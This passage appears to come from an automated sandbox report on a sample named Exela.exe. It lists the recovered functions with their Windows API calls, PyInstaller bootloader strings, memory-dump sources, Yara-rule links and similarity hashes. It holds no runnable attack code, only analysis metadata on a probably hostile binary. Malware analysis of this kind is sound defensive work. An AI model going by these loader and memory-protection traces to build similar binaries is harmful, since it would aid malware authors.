RtlPcToFileHeader.KERNEL32 ref: 00007FF75AE9FE08
RaiseException.KERNEL32 ref: 00007FF75AE9FE49

Strings

csm, xrefs: 00007FF75AE9FE36

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: 67482ae86b62a841f54a4e3e387fac0227093d21e7b850cc28262326b72d379f
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 1C115E32618B9582EB20AF19F440269B7E0FF88B98F984270DACD07755DF3CC951CB00

Function 00007FF75AEB07AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB07DC
GetDriveTypeW.KERNEL32 ref: 00007FF75AEB081C

Strings

:, xrefs: 00007FF75AEB0805

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: 7bd18ae9e57faac16c5d06d74c4a4452f4b3837edea91fa4ba743aa71ec364a3
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: 1201842291832786F721BF60A46B27EE3A0FF44704FC81175D54D46691DF2CE9048A24

Analysis Process: Exela.exePID: 2980, Parent PID: 7088COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	536
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF75AE91000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-contents-directory, xrefs: 00007FF75AE93B8D
Py_GIL_DISABLED, xrefs: 00007FF75AE93AF4
Failed to convert DLL search path!, xrefs: 00007FF75AE93DDC
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF75AE93A0B, 00007FF75AE93CD4, 00007FF75AE93F6B
pyi-runtime-tmpdir, xrefs: 00007FF75AE93B68
_PYI_ARCHIVE_FILE, xrefs: 00007FF75AE938D2, 00007FF75AE939FF
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF75AE93971
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF75AE93C61
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF75AE93BE8
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF75AE93A17, 00007FF75AE93A2F, 00007FF75AE93A9B
_PYI_SPLASH_IPC, xrefs: 00007FF75AE93A23, 00007FF75AE93EF5
MEI, xrefs: 00007FF75AE93933
pkg, xrefs: 00007FF75AE939BE
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF75AE93D35
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF75AE93D12
Failed to remove temporary directory: %s, xrefs: 00007FF75AE93FC3
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF75AE93882, 00007FF75AE938AF
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF75AE93E0A
VCRUNTIME140.dll, xrefs: 00007FF75AE93DB1
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF75AE939DE
pyi-python-flag, xrefs: 00007FF75AE93AD6
pyi-disable-windowed-traceback, xrefs: 00007FF75AE93BB2
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF75AE93EBB
Failed to load splash screen resources!, xrefs: 00007FF75AE93E85
Could not create temporary directory!, xrefs: 00007FF75AE93CBF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF75AE93B32
Failed to start splash screen!, xrefs: 00007FF75AE93ED4
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF75AE93EA6

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: ddc291d86b75269440f3daa8f744d6720b4cd70a3da464c6c37514ecf772ef01
Instruction ID: b69eaa1dd3331475563e73e66bf5e4f1996367c321b0537a7c0a8e22d49e240b
Opcode Fuzzy Hash: ddc291d86b75269440f3daa8f744d6720b4cd70a3da464c6c37514ecf772ef01
Instruction Fuzzy Hash: F932AF21A0C7A759FA24B720945A7F9E691AF44B84FCC41B6DA5D432D2EF3CE954C330

Function 00007FF75AEB69D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB6749
Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB67C7
Part of subcall function 00007FF75AEB6708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB6818

CreateFileW.KERNEL32 ref: 00007FF75AEB6ADA
CreateFileW.KERNEL32 ref: 00007FF75AEB6B2A
GetLastError.KERNEL32 ref: 00007FF75AEB6B5A
GetFileType.KERNEL32 ref: 00007FF75AEB6B6F
GetLastError.KERNEL32 ref: 00007FF75AEB6B79
CloseHandle.KERNEL32 ref: 00007FF75AEB6BAC
CloseHandle.KERNEL32 ref: 00007FF75AEB6D0F
CreateFileW.KERNEL32 ref: 00007FF75AEB6D44
GetLastError.KERNEL32 ref: 00007FF75AEB6D53

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: ee3efea50d0d48c4bde0f0a6c6a8b7b33c35aff29d8b17df749b4ce14cdfd268
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 20C1EF32B28A6986FB10EFA4C4962AC7761FB49B98F885375DB6E57394CF38D411C310

Function 00007FFB084A3230 Relevance: 6.8, APIs: 4, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB084A3CF0
GetProcAddress.KERNEL32 ref: 00007FFB084A3D1A
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFB084A3DA4
VirtualProtect.KERNEL32 ref: 00007FFB084A3DC2

Memory Dump Source

Source File: 0000004D.00000002.2098176048.00007FFB084A3000.00000080.00000001.01000000.00000019.sdmp, Offset: 00007FFB08150000, based on PE: true

Associated: 0000004D.00000002.2097383828.00007FFB08150000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB08151000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB0815D000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB081B5000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB081C9000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB081D9000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB081ED000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB0839C000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB0839E000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB083C9000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB083FA000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB08420000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB0846E000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB08474000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB08476000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB08492000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2097411781.00007FFB0849F000.00000040.00000001.01000000.00000019.sdmpDownload File
Associated: 0000004D.00000002.2098205851.00007FFB084A4000.00000004.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ffb08150000_Exela.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 6912a145b092a435b2690e8e050799ca64382d8315b3fc9a28e3f91c66e0900d
Instruction ID: f6f7f8a1d68be3448ac3b683d61e5545b7b9317e54edcdc768debc1b173d51ba
Opcode Fuzzy Hash: 6912a145b092a435b2690e8e050799ca64382d8315b3fc9a28e3f91c66e0900d
Instruction Fuzzy Hash: A46225B262819286E7198F39D80067DB7A0F758785F045536EA9ECB7C4FA3CEB45CB04

Function 00007FF75AE992F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF75AE99323
FindClose.KERNEL32 ref: 00007FF75AE99332

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: d28007797e316ee1e134623854a8434a5f6d3804ae729b7e3fa2ae69a2b0a515
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 57F0C822A187518AF760BF60B45A76AB350AF84324F8C4335D9AD027E4DF3CD4488A10

Function 00007FF75AE91950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AE97F80: _fread_nolock.LIBCMT ref: 00007FF75AE9802A

_fread_nolock.LIBCMT ref: 00007FF75AE91A1B

Part of subcall function 00007FF75AE92910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF75AE91B6A), ref: 00007FF75AE9295E

Strings

fseek, xrefs: 00007FF75AE919F5
Failed to read cookie!, xrefs: 00007FF75AE91A2B
Error on file., xrefs: 00007FF75AE91B8D
Could not allocate buffer for TOC!, xrefs: 00007FF75AE91B1B
calloc, xrefs: 00007FF75AE91A68
MEI, xrefs: 00007FF75AE91991
fread, xrefs: 00007FF75AE91A32, 00007FF75AE91B5C
malloc, xrefs: 00007FF75AE91B22
Could not read full TOC!, xrefs: 00007FF75AE91B55
Could not allocate memory for archive structure!, xrefs: 00007FF75AE91A61
Failed to seek to cookie position!, xrefs: 00007FF75AE919EE

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 6131f22979fb602daa1a58a3720f236f34d84e0b4625cf851c0130f8f3cebb41
Instruction ID: 58affc7623e1bb6c5573197db563d731b501ef89910778927b89facaf8a57c6b
Opcode Fuzzy Hash: 6131f22979fb602daa1a58a3720f236f34d84e0b4625cf851c0130f8f3cebb41
Instruction Fuzzy Hash: D481D671A0C7A68AFB60FB14D4466F9A390EF48784FC84171EA4D43786DE3CE5858760

Function 00007FF75AE91470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fseek, xrefs: 00007FF75AE914E5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF75AE91518
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF75AE914DE
fread, xrefs: 00007FF75AE915E6
malloc, xrefs: 00007FF75AE9151F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF75AE9149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF75AE915DF

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 42b8736eca5e8aaffec84b6365213ab165e73849c65a2b46650c6e074acc8ace
Instruction ID: daacebb6bab56183e429a75c802b04264cf0a841dce7126223a33933d15c84f3
Opcode Fuzzy Hash: 42b8736eca5e8aaffec84b6365213ab165e73849c65a2b46650c6e074acc8ace
Instruction Fuzzy Hash: 79417321A087669AFB10FB2198469B9E390FF44794FCC4572EE5D07B95DE3CE5418720

Function 00007FF75AE91210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF75AE912EF
malloc, xrefs: 00007FF75AE912C1, 00007FF75AE912F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF75AE91276
1.3.1, xrefs: 00007FF75AE91249
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF75AE9141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF75AE912BA

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 619b1d8a1a59d0c7b8dcbaa9966dc471b2ceb069a6157a385d228633a1f186c8
Instruction ID: 18baeaa694f97a44c889729e513fec92477014abfdaf4d8995048c13593bb700
Opcode Fuzzy Hash: 619b1d8a1a59d0c7b8dcbaa9966dc471b2ceb069a6157a385d228633a1f186c8
Instruction Fuzzy Hash: 2D51B322A0876249FA60BB11A8427BAE2D1BF85794FCC4275EE4D477D5EF3CE905C720

Function 00007FF75AE936B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF75AE93804), ref: 00007FF75AE936E1
GetLastError.KERNEL32(?,00007FF75AE93804), ref: 00007FF75AE936EB

Part of subcall function 00007FF75AE92C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92C9E
Part of subcall function 00007FF75AE92C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92D63
Part of subcall function 00007FF75AE92C50: MessageBoxW.USER32 ref: 00007FF75AE92D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF75AE93739
Failed to obtain executable path., xrefs: 00007FF75AE936F3
Failed to convert executable path to UTF-8., xrefs: 00007FF75AE93790
\\?\, xrefs: 00007FF75AE9375A
GetModuleFileNameW, xrefs: 00007FF75AE936FA

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: f76858c276dbdf7e7f1cb10ce940f0214e8e4bf1483fa9fa06be43151ebf1972
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 7521C751B1C76395FA20B724E8177BAA250BF88744FC842B6E55DC25E5EE3CE905C320

Function 00007FF75AEABACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABEF9

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
Instruction ID: ac07e26ee97088d2eaade3e0b7c6704b1d9fdec79bbd64e4776d29d5b95a4315
Opcode Fuzzy Hash: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
Instruction Fuzzy Hash: BDC1B4229087A691F760BB15944A2BDB794FF81B80FDD41B1EA4E07791CF7CEC558720

Function 00007FF75AE96350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LoadLibrary, xrefs: 00007FF75AE9649E
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF75AE96446
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF75AE963F7
ucrtbase.dll, xrefs: 00007FF75AE963CD
Failed to load Python DLL '%ls'., xrefs: 00007FF75AE96497
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF75AE963B7

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: 42dc910226e0dc196919365218f4cb73e4c3f8ff7adc36aeca7154002c201508
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: 27419231A1C79795FA11FB60E4566E9A310FF88384FC80172EA5C53296EF3CE905C760

Function 00007FF75AEA5698 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA56C5
CreateFileW.KERNEL32 ref: 00007FF75AEA5704
CloseHandle.KERNEL32 ref: 00007FF75AEA5739

Memory Dump Source

Source File: 0000004D.00000002.2094614717.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004D.00000002.2094591065.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094650034.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094682015.00007FF75AED1000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004D.00000002.2094758116.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_77_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: 1b27b1b376e12331efcd963d3d0276092d520de5a1136c021d3708d197bb6d75
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
